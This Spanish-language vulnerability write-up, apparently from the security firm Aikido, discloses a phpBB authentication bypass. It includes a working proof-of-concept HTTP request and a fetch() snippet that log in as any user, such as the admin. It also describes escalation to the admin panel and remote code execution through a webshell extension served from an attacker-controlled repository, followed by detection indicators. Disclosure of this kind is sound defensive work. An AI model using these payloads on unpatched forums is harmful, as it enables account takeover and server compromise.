El 10 de junio, anunciamos una vulnerabilidad crítica en phpBB que permite a los atacantes eludir la autenticación, ahora conocida como CVE-2026-48611. Esta publicación es un seguimiento que contiene detalles técnicos que explican los escenarios de explotación y los métodos de detección.
Para ponerte al día, phpBB es un software de foro antiguo que todavía utilizan diversas comunidades técnicas. Solo el Site Showcase de phpBB cuenta con más de 6 millones de miembros. Aunque ha habido algunos ataques notorios en el pasado, como el gusano "Santy" en 2004, hoy en día no han tenido muchos problemas con las vulnerabilidades. Esta divulgación rompe esa tendencia.
Mientras investigábamos para mejorar nuestro producto de pentesting de IA, los agentes de Aikido Attack nos notificaron un "Bypass de autenticación crítico" en phpBB. Al principio éramos un poco escépticos. Seguramente se trataba de algún error de configuración o de un caso límite que habíamos estropeado en la configuración. Pero no podía estar más lejos de la realidad.
La vulnerabilidad encontrada funciona con la configuración predeterminada, requiriendo solo una única solicitud no autenticada para iniciar sesión completamente en cualquier cuenta arbitraria. ¡Iniciar sesión en la cuenta de un administrador podría otorgarte control sobre todo el foro!
Después de detectarlo, informamos inmediatamente de la vulnerabilidad en HackerOne y recibimos confirmación de que fue clasificada en menos de 9 minutos!
Cuatro días después, se lanzó un parche en la versión 3.3.17 que abordaba la vulnerabilidad. Si gestionas un foro phpBB, actualiza a esta versión lo antes posible si aún no lo has hecho.
Ahora profundizaremos en qué partes del código eran vulnerables y cómo pudieron ser explotadas. Spoiler: no es el exploit increíblemente complicado que podrías esperar que fuera…
Bypass de autenticación
Todo esto está relacionado con cómo funciona exactamente el procedimiento de inicio de sesión en phpBB. No el flujo de inicio de sesión principal, sino específicamente la función de "login-link". Al conectarse a servicios externos como Google o GitHub OAuth, esta función sirve para vincular la cuenta a una cuenta existente en la instancia de phpBB o para registrar una nueva.
Si eliges conectarlo a una cuenta existente, te pide que inicies sesión en tu cuenta con el mode=login_link parámetro de consulta. Al enviarlo, se conectará la cuenta OAuth después de iniciar sesión.
El callback es gestionado por ucp_login_link.php y primero busca login_link_* datos como parámetros de consulta, los cuales no deben estar vacíos. Estos se extraen aquí:
class ucp_login_link {
function main($id, $mode) {
...
$data = $this->get_login_link_data_array();
if (empty($data)) {
$login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
}
...
}
}
protected function get_login_link_data_array() {
...
foreach ($var_names as $var_name) {
if (strpos($var_name, 'login_link_') === 0) {
$key_name = substr($var_name, $string_start_length);
$login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
}
}Afortunadamente, esto es fácil de pasar añadiendo algunos datos ficticios como login_link_aikido=1. Esto hace que el $data no esté vacío, y podemos continuar con el flujo.
Más adelante en el código, empezamos a notar algo peculiar. Tenemos control sobre el auth_provider parámetro de consulta:
// Usar el auth_provider solicitado incluso si es diferente al configurado
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));El valor normalmente solo se establece en oauth, pero podemos controlarlo completamente. Se supone que debe indicar al servidor phpBB qué proveedor debe usarse para verificar la autenticación, por ejemplo, si tiene configuradas tanto una base de datos local como la autenticación OAuth. Pero, ¿qué sucede cuando proporcionamos otros valores?
phpBB define todos estos como clases bajo phpbb/auth/provider. apache.php que es muy simple, un poco demasiado simple:
class apache extends base {
public function login($username, $password) {
$php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
$php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);
if (!empty($php_auth_user) && !empty($php_auth_pw)) {
// Basic auth username must match submitted username
if ($php_auth_user !== $username) {
return array('status' => LOGIN_ERROR_USERNAME, ...);
}
// Look up user in database
$sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
FROM ' . USERS_TABLE . "
WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
$result = $this->db->sql_query($sql);
$row = $this->db->sql_fetchrow($result);
$this->db->sql_freeresult($result);
if ($row) {
// User inactive
if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
return array('status' => LOGIN_ERROR_ACTIVE, ...);
}
// Successful login
return array('status' => LOGIN_SUCCESS, ...);
}Verifica que el nombre de usuario enviado coincide PHP_AUTH_USER (decodificado Básico nombre de usuario de autenticación), busca al usuario y simplemente devuelve INICIO_DE_SESIÓN_EXITOSO. ¡Pero falta algo, una verificación de contraseña!
¡Enhorabuena, acaba de encontrar un bypass de autenticación crítico en phpBB! Al elegir un proveedor inesperado como apache, podemos omitir la contraseña e iniciar sesión como cualquier usuario.
Ahora, para aclarar cualquier confusión, los mantenedores no se "olvidaron" simplemente de añadir una verificación de contraseña aquí. La funcionalidad prevista del apache proveedor asume que la autenticación es gestionada por el proxy Apache con .htpasswd, y cada solicitud debe pasar por él primero. phpBB simplemente confía en el nombre de usuario que viene en la cabecera de autenticación Basic en ese caso.
Lo que hicimos aquí fue activar el apache proveedor sin que Apache tuviera que estar configurado, a través de una característica diseñada solo para oauth. En este caso, el cliente se convierte directamente en el "proxy de confianza" y podemos enviar cualquier nombre de usuario que desee.
Así, podemos realizar una solicitud que active el flujo de enlace de inicio de sesión con datos válidos y un nombre de usuario de nuestra elección, pero configurando el manejador a apache para omitir la verificación de contraseña. Los nombres de usuario no son difíciles de encontrar en las instancias de phpBB, lo que facilita el inicio de sesión como administrador o moderador.
Todo esto funciona en la configuración predeterminada de phpBB, lo que lo hace aún más peligroso
Prueba de concepto
Reproducir esta vulnerabilidad no es difícil. En cualquier instancia local de phpBB, la siguiente solicitud HTTP muestra un bypass para iniciar sesión como el administrador usuario (codificado en Base64 en la Autorización: cabecera como admin:x con YWRtaW46eA==).
POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Host: phpbb.local
Content-Length: 49
Authorization: Basic YWRtaW46eA==
Content-Type: application/x-www-form-urlencoded
login_username=admin&login_password=x&login=LoginUna respuesta exitosa establece las cookies y redirige a la página de inicio. El atacante queda entonces completamente autenticado en la cuenta objetivo.
HTTP/1.1 302 Found
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31
Set-Cookie: phpbb_f4xf4_u=1; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_u=2; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; path=/; domain=phpbb.local; HttpOnly
Location: http://phpbb.local/index.php/
Content-Length: 0
Content-Type: text/html; charset=UTF-8Para generar la solicitud anterior, se puede ejecutar el siguiente código JavaScript en la Consola de DevTools de cualquier instancia:
const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
method: "POST",
headers: {
Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
},
body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});Al recargar la página web después, se muestra que el atacante ha iniciado sesión en la cuenta objetivo:
Escalada al panel de control de administración
Hemos iniciado sesión en la cuenta del administrador y podemos publicar cualquier cosa haciéndonos pasar por ellos, pero si intentamos gestionar el foro a través del Panel de Control de Administración, nos encontramos con una segunda verificación de contraseña:
El panel verifica de nuevo si tenemos la contraseña del usuario mientras ya hemos iniciado sesión. Aunque el instinto inicial podría ser simplemente usar nuestro exploit de nuevo para eludir también esta verificación de inicio de sesión, tiene una implementación completamente separada que no es vulnerable al mismo problema. Necesitamos una contraseña para acceder a este panel.
Por esta razón, tanto el mantenedor de phpBB como Aikido pensaron inicialmente que el impacto de este problema se limitaba a la suplantación de usuarios arbitrarios.
Justo después de compartir esta publicación de blog en X, el usuario "Labomen" mencionó que existe una posible escalada desde el Panel de Control de Usuario (UCP, esencialmente "configuración personal") al Panel de Control de Administración (ACP) como administrador sin necesidad de contraseña.
> El acceso al ACP se puede obtener trivialmente porque casi siempre en foros reales se puede iniciar sesión como administrador en el grupo principal de administradores con el rol de fundador, crear una nueva cuenta de usuario propia, convertirla en administrador (sí, añadir a alguien a un grupo NO necesita ACP), luego simplemente inicia sesión con su cuenta y accede al ACP ya que conoce la contraseña.
Esto era preocupante. ¡Reprodujimos rápidamente la idea localmente y confirmamos que este era realmente el caso! El usuario fundador es el primer usuario registrado en la instancia de phpBB y tiene el ADMINISTRADORES rol por defecto. Específicamente, esta combinación de permisos es explotable porque el fundador puede añadir otros usuarios al grupo de administradores. No solo eso, sino que pueden hacerlo desde el Panel de Control de Usuario!
El atacante puede registrar una cuenta para sí mismo y luego otorgar a esa cuenta privilegios de administrador a través de este panel de Añadir usuarios.
Posteriormente, ven el enlace al Panel de Control de Administración en su propia cuenta y, como es su cuenta, conocen la contraseña para iniciar sesión completamente.
Desde aquí, la instancia completa está comprometida. Cualquier configuración puede ser editada. Pero para ir aún más lejos, también podemos lograr un impacto en el sistema subyacente.
Ejecución remota de código
Lo siguiente solo es posible en la rama beta 4.x, no en la rama 3.x más común. Sin embargo, aún queríamos mostrar el impacto total de esta vulnerabilidad.
En la versión 4.0.0-a2, se añadió un llamado Catálogo de Extensiones que reemplaza el método manual de instalar extensiones de phpBB a través del sistema de archivos.
¡Las extensiones ya no tienen que copiarse manualmente en la carpeta ext/, sino que se pueden configurar URLs de repositorio y obtenerlas directamente desde la interfaz de usuario web!
Aunque es una buena experiencia para el administrador, esta característica conlleva un riesgo. Significa que cualquier administrador comprometido en la web puede instalar repentinamente extensiones arbitrarias. No solo de fuentes confiables, sino, configurando los Ajustes, desde cualquier URL añadida a los Repositorios:
Después de guardar la configuración, se realiza una solicitud a https://attacker.tld/packages.json para obtener todas las extensiones disponibles. El atacante puede devolver una lista de extensiones que afirma alojar, las cuales se muestran en el catálogo. Desde aquí, como administrador, el atacante puede instalar su extensión maliciosa para que se escriban archivos PHP arbitrarios en la carpeta ext/.
Creamos un servidor malicioso para alojar una extensión con una webshell y, una vez configurado, muestra la extensión del atacante en la lista:
Después de instalarlo y habilitarlo, el atacante puede navegar a su webshell para lograr la ejecución remota de código no autenticada en la configuración predeterminada de la última versión:
Indicadores de compromiso
Revise los registros de solicitudes en busca de peticiones POST que contengan auth_provider=apache y mode=login_link parámetros de consulta juntos. Este es el exploit más común. Consulte la solicitud de ejemplo anterior.
Sin embargo, tenga en cuenta que, dado que phpBB también lee ambos parámetros del cuerpo de la solicitud POST, estos tienen prioridad sobre los parámetros GET. Una solicitud de bypass de filtro puede entonces parecer una solicitud mode=login, mientras que en realidad ejecuta mode=login_link en el cuerpo. login_link_* sigue siendo un parámetro de consulta requerido, por lo que puede utilizarse como indicador de una solicitud sospechosa y luego analizarse manualmente con más detalle. Podría verse así:
POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1
Host: phpbb.local
Content-Length: 86
Content-Type: application/x-www-form-urlencoded
Authorization: Basic YWRtaW46eA==
login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=LoginEste es el tipo de hallazgo que Aikido Attack detecta en una ejecución normal. Busca bypasses de autenticación, IDORs y fallos lógicos como lo haría un atacante real, y luego valida cada uno para que solo vea lo que es realmente explotable. Apúntelo a sus propias aplicaciones y protéjalas rápidamente.
Cronología
- 2 de junio de 2026 20:22 - Informe enviado al programa VDP de https://hackerone.com/phpbb
- 2 de junio de 2026 20:31 - El informe fue clasificado por el personal de phpBB (¡así es, 9 minutos!)
- 6 de junio de 2026 16:26 - Se lanza la versión 3.3.17 con un parche
- 10 de junio de 2026 12:33 - Publicamos un anuncio inicial para advertir a los usuarios
- 10 de junio de 2026 19:33 - Los mantenedores de phpBB nos piden que esperemos 4 semanas antes de publicar los detalles técnicos
- 4 de julio de 2026 2:45 - Se publica este informe técnico
